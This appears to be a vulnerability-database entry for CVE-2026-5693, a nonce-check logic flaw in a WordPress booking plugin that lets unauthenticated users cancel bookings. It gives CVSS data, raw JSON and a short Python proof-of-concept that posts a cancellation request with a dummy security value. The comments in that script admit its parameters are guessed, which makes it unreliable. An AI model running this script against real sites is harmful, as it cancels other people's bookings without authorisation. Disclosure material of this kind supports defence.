Security Vulnerability Report
中文
CVE-2026-5693 CVSS 5.3 MEDIUM

CVE-2026-5693

Published: 2026-05-12 09:16:55
Last Modified: 2026-05-12 14:03:53

Description

The Smart Appointment & Booking plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check and a nonce validation logic flaw in the saab_cancel_booking() function in all versions up to, and including, 1.0.8. The nonce check uses && (AND) instead of || (OR), which means providing any value for the security parameter causes the entire check to be skipped. This makes it possible for unauthenticated attackers to cancel arbitrary bookings by supplying a predictable booking ID.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Smart Appointment & Booking <= 1.0.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_cancel_booking(target_url, booking_id): """ PoC to demonstrate the nonce bypass and booking cancellation. Target: WordPress Smart Appointment & Booking Plugin <= 1.0.8 """ # The endpoint usually handles AJAX actions in WordPress endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload data based on the vulnerability description # The logic flaw implies providing a specific parameter bypasses the AND check payload = { "action": "saab_cancel_booking", "booking_id": booking_id, # Providing this value likely triggers the logic flaw described (skipping check) "security_param": "any_value_to_bypass" } try: response = requests.post(endpoint, data=payload) if response.status_code == 200: print(f"[+] Request sent. Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Usage example # exploit_cancel_booking("http://target-site.com", "12345")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5693", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:54.953", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Smart Appointment & Booking plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check and a nonce validation logic flaw in the saab_cancel_booking() function in all versions up to, and including, 1.0.8. The nonce check uses && (AND) instead of || (OR), which means providing any value for the security parameter causes the entire check to be skipped. This makes it possible for unauthenticated attackers to cancel arbitrary bookings by supplying a predictable booking ID."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/smart-appointment-booking/tags/1.0.8/inc/front/class.saab.front.action.php#L2558", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/smart-appointment-booking/trunk/inc/front/class.saab.front.action.php#L2558", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/smart-appointment-booking/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/afc3531d-6134-4b45-b532-37430d96a8fb?source=cve", "source": "[email protected]"}]}}